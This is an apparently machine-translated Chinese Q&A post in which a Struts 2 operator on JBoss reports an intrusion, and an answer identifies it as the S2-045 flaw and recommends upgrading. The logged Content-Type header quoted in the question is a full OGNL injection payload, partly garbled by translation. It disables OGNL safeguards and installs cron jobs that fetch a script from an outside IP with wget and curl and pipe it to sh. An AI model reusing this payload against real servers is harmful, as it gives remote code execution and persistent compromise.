我们有一个J2EE Struts 2应用程序。
最近我们看到一些入侵我们的应用程序在端口80上运行.Jboss(版本4.2.0)错误日志给出了:
请求不包含multipart / form-data或multipart / form-data流,内容类型标头为%{(#_ ='multipart / form-data')。(#dm =@ognl.OgnlContext (?#_ memberAccess(#_ memberAccess =#DM)@DEFAULT_MEMBER_ACCESS):((#容器=#上下文[ 'com.opensymphony.xwork2.ActionContext.container'])(#ognlUtil =#container.getInstance(@com。 opensymphony.xwork2.ognl.OgnlUtil@class))。(#ognlUtil.getExcludedPackageNames()。明确())。(#ognlUtil.getExcludedClasses()。明确())。(#context.setMemberAccess(#dm)))) 。(#cmd ='echo“15 * * * * wget -O - -q http://91.230.47.41/res/logo.jpg|sh \ n50 * * * * curl http://91.230.47.41/res/logo.jpg|sh”| crontab - ')。(#iswin =(@ java) .lang.System @的getProperty( 'os.name')。toLowerCase()。包含( '赢')))。(#CMDS =(#iswin?{ 'cmd.exe的', '/ C',#CMD} :{'/ bin / bash',' - c',#cmd}))。(#p = new java.lang.ProcessBuilder(#cmds))。(#p.redirectErrorStream(true))。(#process = #p.start())。(#ROS =(@ org.apache.struts2.ServletActionContext@getResponse()。的getOutputStream()))。(@ org.apache.commons.io.IOUtils@copy(#process.getInputStream (),#ROS))。(#ros.flush())}
他们将一些.exe文件注入Jboss bin文件夹并尝试中断应用程序和服务器。已经在那里安装了一些防病毒软件。但这并没有停止。考虑如何阻止他们离开应用程序。
任何好主意都会有所帮助。
答案 0 :(得分:1)
您已经受到S2-045严重安全问题的攻击。</ p>
解决您问题的最简单方法是立即升级到 2.3.32 或 2.5.10.1
(前者需要几乎零重构,后者需要快速迁移,如Struts 2.3 to 2.5 Migration Guide中所述。
始终保持最新状态。